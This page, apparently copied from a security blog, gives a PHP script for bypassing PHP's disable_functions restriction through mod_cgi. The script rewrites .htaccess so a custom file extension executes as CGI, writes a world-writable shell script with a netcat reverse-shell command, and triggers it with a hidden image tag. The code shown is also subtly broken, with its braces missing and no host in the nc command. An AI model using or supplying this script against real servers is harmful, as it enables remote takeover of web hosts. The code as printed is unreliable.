disable_functions bypass - mod_cgi


From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

// Only working with mod_cgi, writable dir and htaccess files enabled
$cmd = "nc -c '/bin/bash' 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
if (!isset($_GET['checked']))
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
        echo "Error. All of the above must be true for the script to work!"; //abort if not
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script

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